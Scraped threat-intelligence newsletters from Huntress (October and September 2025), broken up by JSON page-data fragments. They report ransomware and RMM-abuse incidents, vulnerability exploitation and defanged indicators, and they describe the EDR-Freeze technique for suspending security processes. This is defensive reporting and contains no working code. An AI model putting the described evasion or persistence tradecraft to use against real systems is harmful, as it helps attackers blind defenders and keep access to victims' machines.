While businesses use RMMs to increase efficiencies and reduce cost, threat actors compromise legacy RMM tools or install their own RMM once they gain access to the endpoint. We’re seeing them step up the game now by installing multiple RMMs for more persistent access.

",{"_1987":2386,"_47":2387,"_2004":32,"_2005":2388},"

On October 11, an organization installed the Huntress agent on one endpoint initially, after it was hit by the Qilin ransomware, giving us very limited visibility into what happened. While we lacked EDR and SIEM telemetry to investigate the attack, we used other data sources, including:

Microsoft Defender Antivirus (MAV) alerts
Program Compatibility Assistant (PCA) logs
Windows Event Logs

In looking at these various data sources, Ben Folland and Harlan Carvey found that the threat actor had installed Total Software Deployment Service, as well as a rogue ScreenConnect instance, in the victim’s environment. The actor then tried to deploy several malicious files.

$\"\"$ Qilin ransomware note

","A pinhole view of a Qilin ransomware attack","

While we don’t always have the necessary telemetry streams during an incident, relying on multiple data sources helps us not only gain a deeper understanding of the threat actor’s attempted activities on the endpoint, but also validate findings and provide a clearer picture of what actually happened.

",{"_1987":2390,"_47":2391,"_2004":32,"_2005":2392},"

We’ve seen threat actors using Chrome Remote Desktop in multiple attacks recently. This is a legitimate remote desktop software tool developed by Google that is being installed as a means of persistence, like other RMMs. Here are some incidents our SOC has seen involving Chrome Remote Desktop:

In an October 13 incident, a threat actor authenticated via Remote Desktop Protocol (RDP) and then deployed Chrome Remote Desktop, before attempting to uninstall the CrowdStrike Falcon agent from the endpoint and deploying Akira ransomware
On October 17, a threat actor authenticated via RDP before downloading and installing Chrome Remote Desktop for persistence. Additionally, the threat actor scanned the network (using netscan) and took steps to perform enumeration

","Threat actors turn to Chrome Remote Desktop","

Chrome Remote Desktop is only the latest RMM that threat actors are using for persistence, and we’ve seen a definitive uptick in the malicious use of this tool in recent weeks.

",{"_1998":2016,"_21":2394,"_2011":2034,"_2013":2035},[2395,2398],{"_1987":2396,"_47":2397,"_2004":6,"_2005":422},"

We saw a spike in threat actors authenticating into SonicWall SSLVPN devices across multiple customer environments in October, which appeared to stem from credential compromise (rather than brute-forcing). The bulk of the activity started October 4, with authentications continuing over the next week. Overall, over 100 SonicWall SSLVPN accounts across 16 customer accounts were impacted, with all authentications originating from 202.155.8[.]73.

The spike in authentications came after SonicWall issued a security advisory update warning that an attack on its MySonicWall platform gave an unauthorized party access to firewall configuration backup files for all customers who have used SonicWall’s cloud backup service. We have no evidence to link this advisory to the recent spike in compromises we’ve seen (though it may be difficult to discern that activity from our vantage point); however, any compromise data and indicators of compromise is always of interest for both our customer base and the broader community.

Special kudos to Michael Tigges for all his work that went into these findings.

","SonicWall SSLVPN Compromises",{"_1987":2399,"_47":2400,"_2004":6,"_2005":422},"

USB worms are still a thing in 2025 (!), with several retrospective threat hunts in October revealing multiple incidents with worms that originated from USB devices.

In one of the incidents, a USB worm led to the deployment of coinminer malware on the infected host. Our retrospective threat hunt found that on October 22 at 6:02:40 UTC, a user account executed a malicious VBS script on the D:\\ drive. This activity stemmed from an infected SanDisk Cruzer Blade USB flash drive that was connected to the host approximately 20 seconds prior to the execution of the VBS script. The script then led to additional payloads being staged and executed from the directory C:\\Windows \\System32.

While it may seem surprising that USB worms are still around, these incidents follow malware in recent years like Raspberry Robin and SnakeDisk. To reduce the risk of these infections, organizations can put restrictions on access to external devices like USB drives–or at least scan these devices before they’re connected to internal networks.

","A threat hunt reveals…USB worms?",{"_1998":2037,"_21":2402,"_2011":2403,"_2013":2046},[],"

In October, several manufacturing disruptions attributed to Qilin and adjacent ransomware operators targeted Japanese automotive suppliers and beverage processing companies, triggering production shut downs and a slowdown in production chains, like Volkswagen, in several countries. This attack was notably different from previous attacks impacting manufacturing companies earlier this year and late last year. In both cases, attackers didn‘t target or access customer data and didn’t appear to use pivoting methods into those areas. But this more recent attack seems to be specifically geared towards the supplier layer and tampering with production tempo, creating a big impact with a delay for specific production components.

Due to this precision, it’s suspected that this attack was coordinated with people familiar with manufacturing and production procedures as well as supply chain coordinators. This attack trend appears to be motivated by economic factors. For maximum impact, this attack could also affect stock prices or contract-based deliverables, ultimately influencing shifts in manufacturing or economic gains for short sellers.

Additionally, F5’s BIG-IP development environment was reported as compromised for nearly 12 months by the threat actor UNC5221 (aka APT27, Murky Panda, and Silk Typhoon). Researchers think this breach allowed the threat group to not only analyze and steal the codebase, but the delivery pipeline and trust relationships that form the backbone of F5’s service offerings. F5 responded by revising code changes throughout the codebase as well as preemptively patching known security vulnerabilities throughout their pipeline, toolsets, and devices.

Individuals using F5 architecture and services should consider themselves in the blast radius and review incidents from the last 11 months to check for associated threat activity, including:

Mapping architectural blind spots
Staging future poisoning of code, procedures or trust relationships
Triggering untraditional attacks such as performance latency, debt-inducing redirected API calls or other complex attacks

",{"_1998":2061,"_21":2405,"_2011":2412,"_2013":2070},[2406,2409],{"_1987":2407,"_47":2408,"_2004":6,"_2005":422},"

We discovered in-the-wild exploitation of an unauthenticated local file inclusion flaw in Gladinet CentreStack and Triofox products. The flaw impacted all versions of CentreStack prior to and including 16.7.10368.56560. At the time of discovery, there wasn’t a patch for the vulnerability. The flaw enables unintended disclosure of system files, letting threat actors retrieve the machine key from the Web.config file to perform remote code execution.

$\"\"$ Detection timeline for observed exploitation activity

We first saw the flaw being exploited in late September in three customer environments. We reached out to Gladinet and worked with them to develop a plan for disclosure. Gladinet released a fix for the flaw on October 12 as part of version 16.10.10408.56683. You can learn more information about CVE-2025-11371 in our blog post.

Special kudos to Bryan Masters, James Maclachlan, Jai Minton, and John Hammond for their efforts in discovering, validating, and disclosing this vulnerability.

","Active Exploitation of Gladinet CentreStack and Triofox Local File Inclusion Flaw (CVE-2025-11371)",{"_1987":2410,"_47":2411,"_2004":6,"_2005":422},"

On October 23, Microsoft released an out-of-band update for a remote code execution bug in Windows Server Update Services (WSUS). WSUS is a centralized Microsoft update distribution service for IT administrators.

Soon after, we saw threat actors targeting publicly exposed WSUS instances on default ports (8530/TCP and 8531/TCP) to exploit the deserialization vulnerability via the AuthorizationCookie (CVE-2025-59287).

$\"\"$ Process tree for the exploitation activity for CVE-2025-59287

We saw exploitation activity across four customers, but we expect exploitation of CVE-2025-59287 to be limited, because WSUS doesn’t often expose ports 8530 and 8531. Across our partner base, we have observed ~25 hosts susceptible to this flaw. Organizations should apply the available patches for WSUS and isolate network access to WSUS.

We sent out notifications to our customer base about our discoveries and wrote up a blog post to inform the broader community about what we were seeing.

","Exploitation of Windows Server Update Services Remote Code Execution Vulnerability","

For the unaffiliated, “Rapid Responses” spin up when there is a vulnerability or threat that attackers take advantage of to further escalate their attacks at scale. When we hear about a potential vulnerability, the Adversary Tactics team works across Huntress to figure out the potential impact, update our customers, and publish a blog for the security community with all the necessary threat activity details. Here is one example of a Rapid Response that we’ve handled in the last month:

",{"_1998":2048,"_21":2414,"_2011":2423,"_2013":2059},[2415,2417,2419,2421],{"_1987":2416,"_47":48,"_2004":6,"_2005":422},"

Windows Firewall Tampering Detection and Rollback: we now automatically detect, rollback, and alert on Windows Firewall rules that are written against our EDR Agent or Windows Defender. This helps prevent malicious actors from blinding Huntress from their shady activities.

",{"_1987":2418,"_47":1136,"_2005":422},"

Over the past few months, Managed ITDR has made several discrete detection changes to improve detection accuracy across Unwanted Access. Specific changes:

Added several datacenters to our “High Abuse” list for malicious datacenter infrastructure utilization
Added discrete detections for sign-ins from two suspicious AS
Fixed an issue with token theft detector false positives resulting from Cloud PC logins

We also rolled out a partner co-branded Identity Security Assessment Report to our customer base. The Huntress Identity Security Assessment Report gives a clear snapshot of the identity landscape within a Microsoft 365 tenant. The reports automatically generate once a tenant has been integrated and highlight where attackers could be hiding, showing users the risks that we’re monitoring, and any incidents that the SOC has investigated. Partners can now customize the report with their colors/logo and use the feature for ITDR cross-sale opportunities across their customer base.

",{"_1987":2420,"_47":69,"_2005":422},"

Huntress Managed SIEM now supports new sources:

The collection of NinjaOne NinjaRMM logs via HTTP Event Collector: Partners can now use Huntress to ingest NinjaOne logs via webhooks directly from NinjaOne RMM, providing compliance and operational value. NinjaOne RMM is not inherently a threat detection or prevention source, but we are still evaluating its logs for detection opportunities.
Microsoft's Azure Event Hub, which is a gateway service for sending logs from Azure applications and services to third parties. The integration is an API-based connection from Huntress to Azure, which enables the collection of Azure application and service logs.

We’re also releasing a new UI for the Windows Event Log Configurations, which aims to make configurations more intuitive for businesses.

",{"_1987":2422,"_47":1202,"_2005":422},"

There’s a new Managed SAT episode: Economics of Cybercrime, which explores how cybercrime operates as a sophisticated, organized and profitable business.

$\"\"$ A behind-the-scenes look at the design of the Economics of Cybercrime, from October’s Product Lab

We also introduced Threat Simulators from Managed SAT earlier this year, and as of this month, our third simulation, Passwords, is now in General Availability. Managed SAT users will now see this simulation in the \"Simulations\" area of the learner portal.

In addition to new content, we’ve also rolled out the new “Report Phishing” button for outlook, allowing learners using Outlook to now use the taskpane and ribbon buttons to report phishing emails to Huntrees Managed SAT.

","

",{"_1998":2072,"_21":2425,"_2011":422,"_2013":2080},[2426,2429],{"_1987":2427,"_47":2428,"_2004":6,"_2005":422},"

$\"\"$

John Hammond was joined by Chris Myers with CourseStack in this month’s Tradecraft Tuesday episode, where they talked about everything Huntress CTF - from how the event got started, to highlights from this year’s CTF event so far. Halfway through (as of October 13), the event had 10,821 registered participants and 8,681 active participants - the best turnout the event has had so far! You can catch up on the episode here.

","Tradecraft Tuesday: Huntress Capture the Flag 2025 Halftime Show",{"_1987":2430,"_47":2244,"_2004":6,"_2005":422},"

This month, Alden Schmidt and Stuart Ashenbrenner presented at Objective by the Sea, which is the premier macOS conference. They talked about their findings on BlueNoroff after a DPRK intrusion, based on an investigation and subsequent blog published earlier this year. You can watch the talk during this live streamed video of the event, starting at around 4:21.

$\"\"$

BSidesNYC was also this month. A number of people showed up from Huntress including Christina Parry, Adam Rice, and John Hammond - who delivered the keynote!

$\"\"$

\n\n","Fri Oct 31 2025 00:00:00 GMT-0400 (Eastern Daylight Time)",{"_2085":422,"_2086":208,"_2087":219,"_47":2088,"_1724":32,"_41":2089},"october-2025",{"_1724":32},{"_1053":2436,"_19":2437,"_1056":2438},"d354cd4a2b904ce1b5f0d6222a8c4ce1","Threat View from the Lens of Huntress Adversary Tactics: September 2025",{"_35":1716,"_1362":2439,"_1722":2444,"_1725":2445,"_1112":2544,"_1983":2546,"_1989":2547,"_1776":2548,"_19":2437,"_1993":2550,"_2081":2613,"_2083":2614,"_1764":2615,"_2091":2616,"_2093":2094},[2440,2441,2442],{"_1367":631,"_1365":628},{"_1367":1678,"_1365":1370},{"_1365":2443},"September 2025",{"_1724":32},[2446,2463,2480,2497,2514,2529],{"_1728":2447},{"_1350":1730,"_1053":1731,"_1327":1732,"_1701":2448},{"_1734":1735,"_1053":1731,"_19":1736,"_1691":1737,"_1693":1693,"_1702":6,"_1688":2449,"_1056":2450,"_1704":2459,"_1783":1784,"_1785":1735,"_1703":118,"_1786":1787,"_1788":1789,"_1790":2460,"_1792":2461,"_1803":1804},[],{"_1740":1741,"_1742":1743,"_1744":1745,"_1746":2451,"_1758":1759,"_1760":1761,"_1762":1763,"_1764":1765,"_1766":1767,"_19":1736,"_1768":1769,"_1770":1771,"_1772":1773,"_1774":1775,"_1776":2458},[2452,2454,2456],{"_1749":2453},{"_1350":1730,"_1053":1751,"_1327":1746},{"_1749":2455},{"_1350":1730,"_1053":1754,"_1327":1746},{"_1749":2457},{"_1350":1730,"_1053":1757,"_1327":1746},{"_1778":1779,"_134":1780,"_1781":6,"_171":6},{},[],{"_1794":1056,"_1795":2462,"_1801":422,"_1802":6},{"_1797":1798,"_855":1799,"_567":1800},{"_1728":2464},{"_1350":1730,"_1053":1807,"_1327":1732,"_1701":2465},{"_1734":1809,"_1053":1807,"_19":1810,"_1691":1737,"_1693":1693,"_1688":2466,"_1056":2467,"_1704":2476,"_1783":1838,"_1785":1809,"_1703":118,"_1786":1787,"_1788":1789,"_1790":2477,"_1792":2478,"_1803":1842},[],{"_1776":2468,"_1742":1816,"_19":1810,"_1817":1818,"_1758":1759,"_1746":2469,"_1762":1826,"_1770":1827,"_1764":1828,"_1766":1829,"_1740":1830,"_1831":1832,"_1772":1833,"_1760":1834,"_1768":1835,"_1774":1836},{"_171":6,"_134":1814,"_1778":1815,"_1781":6},[2470,2472,2474],{"_1749":2471},{"_1350":1730,"_1053":1751,"_1327":1746},{"_1749":2473},{"_1350":1730,"_1053":1754,"_1327":1746},{"_1749":2475},{"_1350":1730,"_1053":1757,"_1327":1746},{},[],{"_1801":422,"_1795":2479,"_1794":1056,"_1802":6},{"_1797":1798,"_855":1799,"_567":1800},{"_1728":2481},{"_1350":1730,"_1053":1845,"_1327":1732,"_1701":2482},{"_1734":1847,"_1053":1845,"_19":1848,"_1691":1737,"_1693":1693,"_1688":2483,"_1704":2484,"_1785":1847,"_1703":118,"_1786":1851,"_1788":1789,"_1790":2485,"_1792":2486,"_1783":1855,"_1056":2488,"_1803":1878},[],{},[],{"_1795":2487,"_1801":422,"_1794":1056,"_1802":6},{"_1797":1798,"_855":1799,"_567":1800},{"_1766":1857,"_1770":1858,"_1772":1859,"_1758":1759,"_1762":1860,"_1768":1861,"_1817":1862,"_1746":2489,"_1764":1870,"_1760":1871,"_19":1848,"_1776":2496,"_1740":1875,"_1774":1876,"_1742":1877},[2490,2492,2494],{"_1749":2491},{"_1350":1730,"_1053":1751,"_1327":1746},{"_1749":2493},{"_1350":1730,"_1053":1754,"_1327":1746},{"_1749":2495},{"_1350":1730,"_1053":1757,"_1327":1746},{"_1781":6,"_171":6,"_134":1873,"_1778":1874},{"_1728":2498},{"_1350":1730,"_1053":1881,"_1327":1732,"_1701":2499},{"_1734":1883,"_1053":1881,"_19":1884,"_1691":1737,"_1693":1693,"_1688":2500,"_1704":2501,"_1785":1883,"_1703":118,"_1786":1851,"_1788":1789,"_1790":2502,"_1792":2503,"_1783":1890,"_1056":2505,"_1803":1911},[],{},[],{"_1795":2504,"_1801":422,"_1794":1056,"_1802":6},{"_1797":1798,"_855":1799,"_567":1800},{"_1766":1857,"_1772":1892,"_1770":1893,"_1762":1894,"_1746":2506,"_1817":1902,"_1764":1903,"_1760":1904,"_1774":1905,"_19":1884,"_1740":1906,"_1776":2513,"_1742":1910},[2507,2509,2511],{"_1749":2508},{"_1350":1730,"_1053":1751,"_1327":1746},{"_1749":2510},{"_1350":1730,"_1053":1754,"_1327":1746},{"_1749":2512},{"_1350":1730,"_1053":1757,"_1327":1746},{"_1781":6,"_171":6,"_134":1908,"_1778":1909},{"_1728":2515},{"_1350":1730,"_1053":1946,"_1327":1732,"_1701":2516},{"_1734":1948,"_1053":1946,"_19":1949,"_1691":1737,"_1693":1693,"_1688":2517,"_1056":2518,"_1704":2525,"_1783":1970,"_1785":1971,"_1703":118,"_1786":1972,"_1788":1789,"_1790":2526,"_1792":2527,"_1803":1976},[],{"_1760":1952,"_1764":1953,"_1742":1954,"_1758":1759,"_1768":1955,"_1776":2519,"_1772":1958,"_35":1959,"_1740":1960,"_19":1949,"_1766":1961,"_1746":2520,"_1770":1967,"_1774":1968},{"_134":1949,"_1778":1957},[2521,2523],{"_1749":2522},{"_1350":1730,"_1053":1751,"_1327":1746},{"_1749":2524},{"_1350":1730,"_1053":1757,"_1327":1746},{},[],{"_1795":2528,"_1801":422,"_1794":1056,"_1802":6},{"_1797":1798,"_855":1799,"_567":1800},{"_1728":2530},{"_1350":1730,"_1053":2345,"_1327":1732,"_1701":2531},{"_1734":2347,"_1053":2345,"_19":2348,"_1691":1737,"_1693":1693,"_1702":6,"_1688":2532,"_1056":2533,"_1704":2540,"_1783":2365,"_1785":2347,"_1703":118,"_1786":1789,"_1788":1789,"_1790":2541,"_1792":2542,"_1803":2369},[],{"_19":2348,"_1742":2351,"_1746":2534,"_1776":2539,"_1758":1759,"_1766":2360,"_1772":2361,"_1764":2362,"_1768":2363},[2535,2537],{"_1749":2536},{"_1350":1730,"_1053":1751,"_1327":1746},{"_1749":2538},{"_1350":1730,"_1053":1754,"_1327":1746},{"_1781":6,"_134":2358,"_171":6,"_1778":2359},{},[],{"_1795":2543,"_1794":1056,"_1801":422,"_1802":6},{"_1797":1798,"_855":1799,"_567":1800},{"_1067":2545,"_37":1980,"_1430":1981,"_134":1982},{"_136":1079,"_137":49,"_41":1979},{},{"_1987":422,"_1724":6},{"_1778":2549,"_134":2437},"Huntress Adversary Tactics' September 2025 newsletter covers the new Obscura ransomware variant, Play ransomware affiliate attacks, and a malicious GitHub trojan alongside global cybercrime takedowns.",{"_1995":2551},[2552,2567,2575,2589,2594,2607],{"_1998":2553,"_21":2554,"_2011":2208,"_2013":2014},"https://cdn.builder.io/api/v1/image/assets%2F56539a05dc944fe088e47bb383845dd1%2F44e1a35cdf8d4eebb45ad379a7625812",[2555,2559,2563],{"_1987":2556,"_47":2557,"_2004":32,"_2005":2558},"

Earlier this month, we released a threat advisory on Obscura, a new ransomware variant first seen by our SOC on August 29. We didn’t have visibility into the initial access vector, but the ransomware executable was launched from the NETLOGON share, enabling it to replicate across domain controllers. This gave threat actors a stealthy foothold within the impacted org. Once launched, Obscura also:

Deleted shadow copies to throw a wrench into remediation
Sniffed out and terminated 120 different processes to target security and database applications that could potentially hinder the encryption process
Encrypted files with the “.obscura” extension and dropped the ransom note (README_Obscura.txt)

$\"\"$ Base64’d ransom note being decoded

","New ransomware variant: Obscura","

We saw Obscura in one incident, but the ransomware’s onion site claims several victims, including construction, real estate, and machine manufacturing orgs. This indicates that attacks are opportunistic, as opposed to targeted. Organizations should monitor their domain controllers closely. Also, keep an eye out for new files or existing files that are modified, including Group Policy Object (GPO) alterations.

",{"_1987":2560,"_47":2561,"_2004":32,"_2005":2562},"

An incident at a construction company on August 31 revealed how threat actors are continuously trying to widen the impact of their ransomware attacks. The incident, linked back to a Play ransomware affiliate, used a custom tool called GoGo.exe (renamed from ps_bulk.exe). In this incident, we saw threat actors using the tool in a PSExec-like approach to spread multiple, randomly named executables to other hosts on the network. When executed, the tool is used to query Active Directory to find all computers in the corporate domain before using administrator credentials to deploy malicious payloads.

Here’s what else happened during this attack:

The threat actor accessed the endpoint via Remote Desktop Protocol (RDP)
The attacker used several native tools, like mmc.exe, and cleared Windows Event Logs
Files were encrypted using the extension .play
The threat actor attempted to uninstall the Huntress agent via C:\\Program Files\\Huntress\\Uninstall.exe

$\"\"$ Threat actors attempting to uninstall the Huntress agent

","Play ransomware affiliate targets multiple hosts with a custom tool","

The use of GoGo.exe shows how threat actors are trying to both speed up their attacks and intensify their impact. In this case, the threat actor used a custom tool to quickly spread across the network.

",{"_1987":2564,"_47":2565,"_2004":32,"_2005":2566},"

Earlier this month, our SOC came across a social engineering technique with a twist: a malicious GitHub repository commit pretending to offer the GitHub Desktop client, but that instead dropped a trojan. This trojan then executed the Lumma Stealer infostealer malware.

In the attack, the threat actor used a Microsoft Bing ad to direct users to a malicious commit. A commit records all changes made to a project; in this case, attackers created a commit in a legitimate GitHub repository. This commit link was then embedded into the ad, making it appear non-malicious. While GitHub warns that the commit doesn’t belong to any brand in the repository, unsuspecting users might not notice or understand what it means. They would visit the link to the malicious commit and download it from github-desktop[.]com, like the victim did in this incident.

$\"\"$ GitHub’s warning that the commit does not belong to the repo’s branch

","Malicious GitHub repo serving up a trojan","

While this is the first time our SOC has come across this, other vendors have reported seeing the same technique. Threat actors rely on the victims’ trust in GitHub's brand recognition, regardless of the warning they receive above. User awareness of this attack vector is key here.

",{"_1998":2016,"_21":2568,"_2011":2034,"_2013":2035},[2569,2572],{"_1987":2570,"_47":2571,"_2004":6,"_2005":422},"

The Hunting & Tactical Response team has been working tirelessly behind the scenes this year on comprehensive threat hunts across process-related telemetry and working closely with Triage and Analysis analysts. Here are a few examples of some major wins from the first half of the year:

Exposing threat actors who were exploiting flaws in CrushFTP, Gladinet, and Ajax Pro products, and abusing fake CAPTCHAs
Protecting partners against tech support scammers
Identifying and naming multiple malware families, including Octowave loader

","Lots of wins in the first half of 2025",{"_1987":2573,"_47":2574,"_2004":6,"_2005":422},"

SANS released nominees for their Difference Makers Awards, and our SOC dominated the list! Dray Agha, Jai Minton, and Anton Ovrutsky are nominated for the Practitioner of the Year - DFIR/Threat Intelligence Forensicators category, while Anna Pham is nominated for the Practitioner of the Year - Cyber Defender category. Huntress is a Cybersecurity Company of the Year nominee. Congrats to all our nominees! Make sure to cast your vote through October 8!

$\"\"$ Huntress dominated this year’s SANS Difference Makers Awards

","SANS Difference Makers Awards",{"_1998":2037,"_21":2576,"_2011":2045,"_2013":2046},[2577,2580,2583,2586],{"_1987":2578,"_47":2579,"_2004":6,"_2005":422},"

On September 15, the US Justice Department announced the capture of Thalha Jubair, a UK national associated with the Scattered Spider hacking group. Jubair was caught due to his poor operational security decisions in handling bitcoin ransom payments from victims.

He reportedly accessed a cryptocurrency wallet that received ransomware funds to purchase Steam Games and order food from delivery services. $\"\"$

In addition, recent video footage showed Jubair being reportedly robbed by individuals dressed up as police officers, who raided his residence a few months prior to his arrest. During that video, Jubair mentioned another associate who is currently being investigated as well. He’s charged with one count of computer fraud conspiracy, two counts of computer fraud, wire fraud conspiracy, two counts of wire fraud, and money laundering conspiracy. If convicted, he faces a maximum penalty of 95 years in prison, one of the highest penalties in cybercrime history.

Since his arrest, Scattered Spider has remained relatively quiet, suggesting that the group is performing damage control and anticipating more arrests.

","Cybercrime Takedowns",{"_1987":2581,"_47":2582,"_2004":6,"_2005":422},"

DragonForce, a recent but virulent ransomware group formed from ex-members of RansomHub, suggested forming a “Ransomware Cartel” with LockBit and Qilin on the dark web. Shortly after, LockBit seemed to accept the offer, which allowed the groups to coordinate and share resources.

During 2025, ransomware-as-a-service (RaaS) competition has been extremely volatile. The rise and fall of groups has been dramatic. Groups’ payouts have gone up even higher to reflect this, with LockBit offering the highest at 90%, their top tier.

With the recent unification of DragonForce, LockBit, and Qilin, we believe this could lead to more coordinated efforts and unified attack strategies. For instance, LockBit, which is believed to have a very reliable pipeline of Initial Access Brokers, could share that privileged access to help Qilin and DragonForce gain access to a broader set of targets. More importantly, LockBit has proven that its infrastructure is extremely robust and operates even after takedowns. With the latest release, this will be LockBit’s fifth major restructure. By offering the other groups access to their infrastructure, money laundering, and financial systems, it could help make them more resistant to takedowns from law enforcement.

Similar to illicit cartels in Mexico, the current ransomware landscape has been fighting with each other at an escalating pace this year. Groups like BlackLock have been targeted by other groups, including DragonForce. Chatter amongst the dark web has indicated smaller groups might be looking to join forces as well, making the landscape extremely dynamic and unpredictable.

","The Ransomware Landscape and Implosions",{"_1987":2584,"_47":2585,"_2004":6,"_2005":422},"

SonicWall revealed an attack on its MySonicWall.com platform, which exposed customer firewall configuration files. In a security advisory, SonicWall said that threat actors accessed backup firewall preference files stored in the cloud for fewer than 5% of its firewall install base. Credentials in the files were encrypted, but the files also included information that could make it easier for attackers to exploit the firewall. The activity stemmed from a series of brute force attacks aimed at accessing the files stored in backup.

SonicWall recommended that customers log into their MySonicWall.com accounts and verify if cloud backups exist for their registered firewalls. If fields contain backup details, customers should verify if impacted serial numbers are listed in their account. If they are, they should follow the specific containment and remediation guidelines outlined in the threat advisory.

$\"\"$ SonicWall guidance on checking for Firewalls with preference files backed up in MySonicWall.com

Huntress has been in contact with SonicWall since our last Rapid Response, which involved a wave of SonicWall devices being actively exploited. We’re closely following this latest security incident and what it means for our own customers who use SonicWall products.

","SonicWall Exposed Customer Firewall Config Files",{"_1987":2587,"_47":2588,"_2004":6,"_2005":422},"

A new proof-of-concept (PoC) for a defense evasion technique called EDR-Freeze was recently publicized. Based on our testing, the Huntress Agent is not affected by EDR-Freeze.

The technique involves a component within the Windows Error Reporting (WER) framework called WerFaultSecure, which runs with protected process light (PPL) privileges and collects crash dumps of system processes for diagnostic measures. The PoC uses WerFaultSecure to trigger an API called MiniDumpWriteDump, which creates a snapshot of the memory and state of a process. When MiniDumpWriteDump takes that snapshot, it suspends the target processes temporarily before resuming them afterward. However, this PoC suspends MiniDumpWriteDump itself, which can keep the processes linked to EDR or AV in that “frozen” state indefinitely.

It’s important to note here that this tactic enables defense evasion, but it’s not an initial access technique. Attackers must first have access to a target host, gain the execution capabilities to run code locally, and obtain sufficient elevated privileges to manipulate protected processes. If that target has EDR installed, detections are in place and constantly tuned to spot these different points across the attack chain.

For businesses, EDR-Freeze underscores the significance of layered defenses, prioritized patching measures, and restricting or blocking tools that aren’t operationally required in the environment.

","EDR-Freeze",{"_1998":2061,"_21":2590,"_2011":2412,"_2013":2070},[2591],{"_1987":2592,"_47":2593,"_2004":6,"_2005":422},"

Over the summer, we initiated a Rapid Response after a threat actor installed a Huntress agent on their operating machine, giving us visibility into their operations. In September, we published a blog post on our findings from the incident.

\n\n

$\"\"$

While many people saw the value in releasing information that gave in-depth visibility into how an attacker operates on a daily basis, interestingly, the blog post also triggered some controversy, including questions about the telemetry that EDR products collect and how we use data in investigations. This gave us an opportunity to engage with the community to separate fact from misunderstanding, through:

A video interview between John Hammond and Tib3rius
An aftermath blog post that explained what managed EDR is, how Huntress conducts investigations, and the value of these types of investigations for businesses

","Threat Actor Agent Install Blog",{"_1998":2048,"_21":2595,"_2011":2423,"_2013":2059},[2596,2598,2600,2602,2604],{"_1987":2597,"_47":48,"_2004":6,"_2005":422},"

Our Windows agent has scored several wins against Akira this month. Our on-agent ransomware detection capability showcased the ability to detect Akira ransomware 8 minutes and 33 seconds earlier than previously possible. Additionally, we successfully stopped Akira during multiple incidents, including one attack where we blocked them during the enumeration phase, and another where we identified them at their earliest attack path.

macOS Tamper Protection is now live on 90% of eligible endpoints! Additionally, this month we saw the rollout of macOS Agent 0.14.84, which introduces file-based telemetry on macOS. That means that our Product Research and Detection Engineering teams can make detection rules based on files being created on macOS endpoints. This will help us detect malicious activity earlier and better clue into other types of tradecraft.

Finally, the EDR team found our first Linux incident a few weeks ago during the Open Beta stage 🎊 The team detected reconnaissance on a Linux endpoint (specifically when a user executed a recursive getcap against the Root directory). Turns out the behavior came from a tester at a partner. This is a major win for our Linux agent!

$\"\"$ Incident report for an EDR detection on Linux

",{"_1987":2599,"_47":1136,"_2004":6,"_2005":422},"

Managed ITDR now detects logins from known malicious datacenters under its Unwanted Access capability. Though we’re familiar with detecting anomalous locations and VPNs with Unwanted Access, we noticed that threat actors are increasingly using datacenter infrastructure to skip both - now we have our eyes on this evolving tradecraft! Previously, datacenter logins were considered locations. This new feature allows us to categorize these logins more specifically as datacenters - and not as locations. So far, 70% of the signals that we have gotten from our malicious datacenter login detectors do not have a corresponding Unwanted Access signal (e.g., session hijacking, credential theft). This goes to show how much more we’re catching with malicious datacenter logins!

This month, Erin Meyers and Dave Kleinatland also took a look at the most common Microsoft 365 and identity security myths, in a blog post that you can read here.

",{"_1987":2601,"_47":69,"_2004":6,"_2005":422},"

Huntress SIEM continues to prove its value in early threat detection, helping customers spot and stop ransomware operators and other adversaries significantly faster.

This month, the team added and expanded capabilities with TCP support for syslog collection, enabling a broader range of sources to send data directly into the SIEM. Even better, our 10 new brute force detections are already live—feeding our SOC fresh insights and strengthening our ability to respond quickly.

And for those running SentinelOne, we’re excited to share that our SentinelOne integration is now live and GA, making it easier than ever to extend protection and visibility across your environment.

",{"_1987":2603,"_47":1202,"_2004":6,"_2005":422},"

Huntress Security Awareness Training (SAT) continues to evolve to better equip users against sophisticated social engineering attacks.

Huntress released a new research report: Mind the (Security) Gap: SAT in 2025. The report surveyed 500 admins and learners of SAT solutions across the market to look at whether organizations are actually getting the results they need from their increasing SAT spend. The result: perceptions do not equal reality.

",{"_1987":2605,"_47":2606,"_2005":422},"

Improvements to the Huntress Platform enhance the overall experience for partners and customers, and strengthen the product's foundation. The month saw a number of new Portal releases, including new and improved API documentation being shipped.

","Huntress Platform",{"_1998":2072,"_21":2608,"_2011":422,"_2013":2080},[2609,2611],{"_1987":2610,"_47":515,"_2005":422},"

$\"\"$

In this month’s Tradecraft Tuesday episode–The Craftiest Trends, Scams, and Tradecraft of 2025 (So Far)– John Hammond and Greg Linares dove into the top types of tricky tradecraft that threat actors are using to target businesses, from ClickFix to deepfakes.

Be sure to tune into our Tradecraft Tuesday next month. Our upcoming episode, \"The Dangers You Don’t See: Threats Hiding in Your Network,” will tackle the top threats that our SOC is seeing so far in the trenches this year. Snag your spot now

",{"_1987":2612,"_47":2244,"_2004":6,"_2005":422},"

John Hammond appeared in an ABC News Nightline segment this month (starting around 2:52 in the linked video) to discuss the social engineering aspects behind “grandparent scams.” The segment covered how these scams work and their impact on victims.

$\"\"$

